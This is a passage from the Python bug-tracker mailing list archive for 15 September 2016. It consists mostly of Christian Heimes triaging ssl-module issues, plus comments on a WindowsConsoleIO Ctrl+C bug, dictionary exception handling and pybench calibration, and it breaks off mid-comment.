Subject: [issue25115] SSL_set_verify_depth not exposed by the ssl module
In-Reply-To: <1442280676.76.0.937947035148.issue25115@psf.upfronthosting.co.za>
Message-ID: <1473926030.87.0.0988478375825.issue25115@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25115>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:53:57 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:53:57 +0000
Subject: [issue11943] Add TLS-SRP (RFC 5054) support to ssl, _ssl, http,
 and urllib
In-Reply-To: <1303943331.28.0.343800117154.issue11943@psf.upfronthosting.co.za>
Message-ID: <1473926037.44.0.183796163719.issue11943@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11943>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:54:03 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:54:03 +0000
Subject: [issue24334] SSLSocket extra level of indirection
In-Reply-To: <1433018248.44.0.756605302302.issue24334@psf.upfronthosting.co.za>
Message-ID: <1473926043.56.0.81335099218.issue24334@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24334>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:54:16 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:54:16 +0000
Subject: [issue24516] SSL create_default_socket purpose insufficiently
 documented
In-Reply-To: <1435323940.35.0.0347196481189.issue24516@psf.upfronthosting.co.za>
Message-ID: <1473926056.11.0.884432478285.issue24516@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24516>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:54:25 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:54:25 +0000
Subject: [issue23588] Errno conflicts in ssl.SSLError
In-Reply-To: <1425528608.86.0.380656858337.issue23588@psf.upfronthosting.co.za>
Message-ID: <1473926065.78.0.172078521222.issue23588@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23588>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:54:32 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:54:32 +0000
Subject: [issue17123] Add OCSP support to ssl module
In-Reply-To: <1359994472.8.0.804183286731.issue17123@psf.upfronthosting.co.za>
Message-ID: <1473926072.51.0.698639638533.issue17123@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17123>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:54:43 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:54:43 +0000
Subject: [issue23033] Disallow support for a*.example.net, *a.example.net,
 and a*b.example.net in certificate wildcard handling.
In-Reply-To: <1418331823.45.0.0499057066046.issue23033@psf.upfronthosting.co.za>
Message-ID: <1473926083.45.0.0995166345416.issue23033@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
versions:  -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23033>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:55:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:55:19 +0000
Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers
In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za>
Message-ID: <1473926119.83.0.301744065438.issue27766@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27766>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:55:25 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:55:25 +0000
Subject: [issue26970] Replace OpenSSL's CPRNG with system entropy source
In-Reply-To: <1462525827.05.0.33480267606.issue26970@psf.upfronthosting.co.za>
Message-ID: <1473926125.99.0.369326433685.issue26970@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26970>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:55:45 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:55:45 +0000
Subject: [issue18617] TLS and Intermediate Certificates
In-Reply-To: <1375376317.99.0.429350247521.issue18617@psf.upfronthosting.co.za>
Message-ID: <1473926145.81.0.558392452316.issue18617@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18617>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:55:52 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:55:52 +0000
Subject: [issue21649] Mention "Recommendations for Secure Use of TLS and DTLS"
In-Reply-To: <1401786597.2.0.166065083457.issue21649@psf.upfronthosting.co.za>
Message-ID: <1473926152.6.0.45755857231.issue21649@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21649>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:56:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:56:00 +0000
Subject: [issue22365] SSLContext.load_verify_locations(cadata) does not accept
 CRLs
In-Reply-To: <1410188086.75.0.333692035483.issue22365@psf.upfronthosting.co.za>
Message-ID: <1473926160.45.0.753357933492.issue22365@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22365>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:58:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:58:02 +0000
Subject: [issue27876] Add SSLContext.set_version_range(minver, maxver=None)
In-Reply-To: <1472293835.86.0.296775745483.issue27876@psf.upfronthosting.co.za>
Message-ID: <1473926282.91.0.389740664835.issue27876@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27876>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:58:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:58:07 +0000
Subject: [issue27768] ssl: get CPU cap flags for AESNI and PCLMULQDQ
In-Reply-To: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za>
Message-ID: <1473926287.72.0.523884343843.issue27768@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27768>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:00:42 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:00:42 +0000
Subject: [issue13403] Option for XMLPRC Server to support HTTPS
In-Reply-To: <1321291767.37.0.486686259371.issue13403@psf.upfronthosting.co.za>
Message-ID: <1473926442.69.0.453457431752.issue13403@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13403>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:00:56 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:00:56 +0000
Subject: [issue15670] PEP 3121, 384 Refactoring applied to ssl module
In-Reply-To: <1345041029.57.0.223670432026.issue15670@psf.upfronthosting.co.za>
Message-ID: <1473926456.24.0.014450607634.issue15670@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15670>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:01:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:01:04 +0000
Subject: [issue27995] Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows
In-Reply-To: <1473218507.98.0.0291056472337.issue27995@psf.upfronthosting.co.za>
Message-ID: <1473926464.05.0.457280541521.issue27995@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27995>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:01:10 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:01:10 +0000
Subject: [issue27815] Make SSL suppress_ragged_eofs default more secure
In-Reply-To: <1471699151.03.0.676654185488.issue27815@psf.upfronthosting.co.za>
Message-ID: <1473926470.73.0.432779398537.issue27815@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27815>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:01:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:01:19 +0000
Subject: [issue18880] ssl.SSLSocket shutdown doesn't behave like
 socket.shutdown
In-Reply-To: <1377812218.52.0.68669263864.issue18880@psf.upfronthosting.co.za>
Message-ID: <1473926479.48.0.440701135791.issue18880@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18880>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:02:36 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:02:36 +0000
Subject: [issue26867] test_ssl test_options fails on ubuntu 16.04
In-Reply-To: <1461728238.71.0.110276038105.issue26867@psf.upfronthosting.co.za>
Message-ID: <1473926556.79.0.121491299728.issue26867@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26867>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:06:51 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:06:51 +0000
Subject: [issue27391] server_hostname should only be required when checking
 host names
In-Reply-To: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za>
Message-ID: <1473926811.88.0.270243249479.issue27391@psf.upfronthosting.co.za>


Christian Heimes added the comment:

server_hostname is also required for SNI (server name indicator). Virtual hosting depends on the feature. Without SNI TLS extension you'll end up on the wrong vhost or the web server sends you the wrong certificate.

The feature is pretty much required these days.

----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes
versions: +Python 3.7 -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27391>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:07:27 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:07:27 +0000
Subject: [issue23749] asyncio missing wrap_socket (starttls)
In-Reply-To: <1427119199.61.0.485462184824.issue23749@psf.upfronthosting.co.za>
Message-ID: <1473926847.41.0.991757455314.issue23749@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23749>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:08:26 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:08:26 +0000
Subject: [issue27354] SSLContext.load_verify_locations cannot handle paths on
 Windows which cannot be encoded using mbcs
In-Reply-To: <1466389929.18.0.227515818606.issue27354@psf.upfronthosting.co.za>
Message-ID: <1473926906.46.0.523535729834.issue27354@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Is this still an issue?

----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes
stage:  -> needs patch
type:  -> behavior
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27354>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:09:03 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:09:03 +0000
Subject: [issue27340] bytes-like objects with socket.sendall(), SSL,
 and http.client
In-Reply-To: <1466137520.57.0.744540833455.issue27340@psf.upfronthosting.co.za>
Message-ID: <1473926943.1.0.62432217988.issue27340@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL
stage:  -> needs patch
type:  -> behavior
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27340>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:09:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:09:23 +0000
Subject: [issue20916] ssl.enum_certificates() will not return all certificates
 trusted by Windows
In-Reply-To: <1394740101.16.0.76901026465.issue20916@psf.upfronthosting.co.za>
Message-ID: <1473926963.6.0.587682390581.issue20916@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20916>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:10:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:10:02 +0000
Subject: [issue18546] ssl.get_server_certificate like addition for cert chain
In-Reply-To: <1374677834.03.0.406670886322.issue18546@psf.upfronthosting.co.za>
Message-ID: <1473927002.43.0.717556159426.issue18546@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm closing the ticket as duplicate of #18233

----------
assignee:  -> christian.heimes
components: +SSL
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18546>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:10:25 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 08:10:25 +0000
Subject: [issue28166] WindowsConsoleIO misbehavior when Ctrl+C is ignored
Message-ID: <1473927025.25.0.183534906845.issue28166@psf.upfronthosting.co.za>


New submission from Eryk Sun:

_PyOS_WindowsConsoleReadline should continue to read when interrupted by Ctrl+C if SIGINT is ignored or the handler doesn't raise an exception. Currently it breaks out of the read loop, which looks like an EOF:

    >>> import signal
    >>> signal.signal(signal.SIGINT, signal.SIG_IGN)
    <built-in function default_int_handler>
    >>> input()
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    EOFError 

Also, in this case Ctrl+C quits the REPL. 

Similarly sys.stdin.buffer.raw should retry a read. Instead a read(1) returns an empty string and readall() raises an exception:

    >>> sys.stdin.buffer.raw.read(1)
    b''

    >>> sys.stdin.buffer.raw.read()
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    OSError: [WinError 87] The parameter is incorrect

----------
components: IO, Library (Lib), Windows
messages: 276530
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: WindowsConsoleIO misbehavior when Ctrl+C is ignored
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28166>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:11:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:11:02 +0000
Subject: [issue18293] ssl.wrap_socket (cert_reqs=...), getpeercert,
 and unvalidated certificates
In-Reply-To: <1372100693.76.0.99629035685.issue18293@psf.upfronthosting.co.za>
Message-ID: <1473927062.64.0.966654134991.issue18293@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18293>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:12:16 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:12:16 +0000
Subject: [issue26815] SIGBUS in test_ssl.test_dealloc_warn() on "AMD64 FreeBSD
 10.0 3.x" buildbot
In-Reply-To: <1461232155.49.0.392894323476.issue26815@psf.upfronthosting.co.za>
Message-ID: <1473927136.06.0.120058732968.issue26815@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Does the test still crash? I haven't seen a crasher for a while.

----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes
status: open -> pending
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26815>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:12:53 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:12:53 +0000
Subject: [issue26612] test_ssl: use context manager (with) to fix
 ResourceWarning
In-Reply-To: <1458694066.07.0.537208093993.issue26612@psf.upfronthosting.co.za>
Message-ID: <1473927173.18.0.0381737470472.issue26612@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26612>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:20:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:20:23 +0000
Subject: [issue26254] ssl should raise an exception when trying to load an
 unusable key (ECC key not using a named curve)
In-Reply-To: <1454291417.3.0.6306970178.issue26254@psf.upfronthosting.co.za>
Message-ID: <1473927623.7.0.90207036888.issue26254@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The SSL module uses SSL_CTX_check_private_key() to verify the private key. Further validations are up to OpenSSL or you.

----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26254>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:20:52 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:20:52 +0000
Subject: [issue22559] [backport] ssl.MemoryBIO
In-Reply-To: <1412540756.02.0.793381062078.issue22559@psf.upfronthosting.co.za>
Message-ID: <1473927652.35.0.63286333359.issue22559@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +Extension Modules, SSL
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22559>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:21:32 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 08:21:32 +0000
Subject: [issue25292] ssl socket gets into broken state when client exits
 during handshake
In-Reply-To: <1443729972.18.0.386386409576.issue25292@psf.upfronthosting.co.za>
Message-ID: <1473927692.94.0.530486007292.issue25292@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes
type:  -> behavior
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25292>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:33:06 2016
From: report at bugs.python.org (Giampaolo Rodola')
Date: Thu, 15 Sep 2016 08:33:06 +0000
Subject: [issue15670] PEP 3121, 384 Refactoring applied to ssl module
In-Reply-To: <1345041029.57.0.223670432026.issue15670@psf.upfronthosting.co.za>
Message-ID: <1473928386.43.0.273590598824.issue15670@psf.upfronthosting.co.za>


Changes by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
nosy:  -giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15670>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:33:23 2016
From: report at bugs.python.org (Giampaolo Rodola')
Date: Thu, 15 Sep 2016 08:33:23 +0000
Subject: [issue27768] ssl: get CPU cap flags for AESNI and PCLMULQDQ
In-Reply-To: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za>
Message-ID: <1473928403.78.0.657085607664.issue27768@psf.upfronthosting.co.za>


Changes by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
nosy:  -giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27768>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:33:50 2016
From: report at bugs.python.org (Giampaolo Rodola')
Date: Thu, 15 Sep 2016 08:33:50 +0000
Subject: [issue27876] Add SSLContext.set_version_range(minver, maxver=None)
In-Reply-To: <1472293835.86.0.296775745483.issue27876@psf.upfronthosting.co.za>
Message-ID: <1473928430.29.0.726006422369.issue27876@psf.upfronthosting.co.za>


Changes by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
nosy:  -giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27876>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:34:53 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 08:34:53 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1473928493.03.0.159804968325.issue28123@psf.upfronthosting.co.za>


STINNER Victor added the comment:

If __eq__() raise an exception, _PyDict_GetItem_KnownHash() currently returns NULL and pass through the exception. To me, it looks like the correct behaviour.

With your patch, it looks like the _PyDict_GetItem_KnownHash() clears the __eq__() exception: return NULL with no exception set, as if the key is simply missing.

PyDict_GetItem() ignores *almost* all exceptions, but for bad reasons:

/* Note that, for historical reasons, PyDict_GetItem() suppresses all errors
 * that may occur (originally dicts supported only string keys, and exceptions
 * weren't possible).  (...) */

I would prefer to not ignore __eq__ exceptions, but pass them through.

To be clear: this is a behaviour change compared to Python 3.5 which works as PyDict_GetItem(), ignore *all* exceptions:

        ep = (mp->ma_keys->dk_lookup)(mp, key, hash, &value_addr);
        if (ep == NULL) {
            PyErr_Clear();
            return NULL;
        }

I consider that it's ok to change _PyDict_GetItem_KnownHash() behaviour because this function is private and only used 4 times in 250k lines of C code.

Would you be interested to write a different patch to pass through the exception?

Note: It seems like _count_elements() (Modules/_collectionsmodule.c) doesn't handle correctly such error.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:42:09 2016
From: report at bugs.python.org (Florian Bruhin)
Date: Thu, 15 Sep 2016 08:42:09 +0000
Subject: [issue28165] The 'subprocess' module leaks roughly 4 KiB of memory
 per call
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1473928929.21.0.322681889187.issue28165@psf.upfronthosting.co.za>


Changes by Florian Bruhin <python.org at the-compiler.org>:


----------
nosy: +The Compiler

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:49:31 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 08:49:31 +0000
Subject: [issue27354] SSLContext.load_verify_locations cannot handle paths on
 Windows which cannot be encoded using mbcs
In-Reply-To: <1466389929.18.0.227515818606.issue27354@psf.upfronthosting.co.za>
Message-ID: <1473929371.72.0.0718975181789.issue27354@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Is this still an issue?

I'm not 100% sure that SSL_CTX_load_verify_locations() accepts a path encoded to UTF-8 on Windows.


To be 100% sure, it's "simple": try a filename not encoded to the ANSI code page on Windows.

The best would be to have an unit test for that. You use use test.support.TESTFN_UNENCODABLE for example.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27354>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:49:49 2016
From: report at bugs.python.org (Petri Lehtinen)
Date: Thu, 15 Sep 2016 08:49:49 +0000
Subject: [issue13403] Option for XMLPRC Server to support HTTPS
In-Reply-To: <1321291767.37.0.486686259371.issue13403@psf.upfronthosting.co.za>
Message-ID: <1473929389.33.0.218564989454.issue13403@psf.upfronthosting.co.za>


Changes by Petri Lehtinen <petri at digip.org>:


----------
nosy:  -petri.lehtinen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13403>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:51:00 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 08:51:00 +0000
Subject: [issue26815] SIGBUS in test_ssl.test_dealloc_warn() on "AMD64 FreeBSD
 10.0 3.x" buildbot
In-Reply-To: <1461232155.49.0.392894323476.issue26815@psf.upfronthosting.co.za>
Message-ID: <1473929460.82.0.34380672731.issue26815@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Maybe the bug was fixed indirectly, maybe we missed a recent failure. Anyway, since this issue doesn't contain any useful information and I didn't see the failure recently, I decide to close it.

----------
resolution:  -> out of date
status: pending -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26815>
_______________________________________

From mal at egenix.com  Thu Sep 15 05:00:20 2016
From: mal at egenix.com (M.-A. Lemburg)
Date: Thu, 15 Sep 2016 11:00:20 +0200
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <CAMpsgwZjUPYcNbsh0sHL2_WbO559XTUMn7bFvBfhabauFHzBVg@mail.gmail.com>
References: <CAMpsgwZjUPYcNbsh0sHL2_WbO559XTUMn7bFvBfhabauFHzBVg@mail.gmail.com>
Message-ID: <57DA6324.3090703@egenix.com>

On 14.09.2016 15:20, STINNER Victor wrote:
> 
> STINNER Victor added the comment:
> 
>> I'd also like to request that you reword this dismissive line in the performance package's readme: (...)
> 
> Please report issues of the performance module on its own bug tracker:
> https://github.com/python/performance
> 
> Can you please propose a new description? You might even create a pull
> request ;-)

I'll send a PR.

> Note: I'm not sure that we should keep pybench, this benchmark really
> looks unreliable. But I should still try at least to use the same
> number of iterations for all worker child processes. Currently the
> calibration is done in each child process.

Well, pybench is not just one benchmark, it's a whole collection of
benchmarks for various different aspects of the CPython VM and per
concept it tries to calibrate itself per benchmark, since each
benchmark has different overhead.

The number of iterations per benchmark will not change between
runs, since this number is fixed in each benchmark. These numbers
do need an update, though, since at the time of writing pybench
CPUs were a lot less powerful compare to today.

Here's the comment with the guideline for the number of rounds
to use per benchmark:

    # Number of rounds to execute per test run. This should be
    # adjusted to a figure that results in a test run-time of between
    # 1-2 seconds.
    rounds = 100000

BTW: Why would you want to run benchmarks in child processes
and in parallel ? This will usually dramatically effect the
results of the benchmark runs. Ideally, the pybench process
should be the only CPU intense work load on the entire CPU
to get reasonable results.

-- 
Marc-Andre Lemburg
eGenix.com


From report at bugs.python.org  Thu Sep 15 05:00:28 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Thu, 15 Sep 2016 09:00:28 +0000
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <CAMpsgwZjUPYcNbsh0sHL2_WbO559XTUMn7bFvBfhabauFHzBVg@mail.gmail.com>
Message-ID: <57DA6324.3090703@egenix.com>


Marc-Andre Lemburg added the comment:

On 14.09.2016 15:20, STINNER Victor wrote:
> 
> STINNER Victor added the comment:
> 
>> I'd also like to request that you reword this dismissive line in the performance package's readme: (...)
> 
> Please report issues of the performance module on its own bug tracker:
> https://github.com/python/performance
> 
> Can you please propose a new description? You might even create a pull
> request ;-)

I'll send a PR.

> Note: I'm not sure that we should keep pybench, this benchmark really
> looks unreliable. But I should still try at least to use the same
> number of iterations for all worker child processes. Currently the
> calibration is done in each child process.

Well, pybench is not just one benchmark, it's a whole collection of
benchmarks for various different aspects of the CPython VM and per
concept it tries to calibrate itself per benchmark, since each
benchmark has different overhead.

The number of iterations per benchmark will not change between
runs, since this number is fixed in each benchmark. These numbers
do need an update, though, since at the time of writing pybench
CPUs were a lot less powerful compare to today.

Here's the comment with the guideline for the number of rounds
to use per benchmark:

    # Number of rounds to execute per test run. This should be
    # adjusted to a figure that results in a test run-time of between
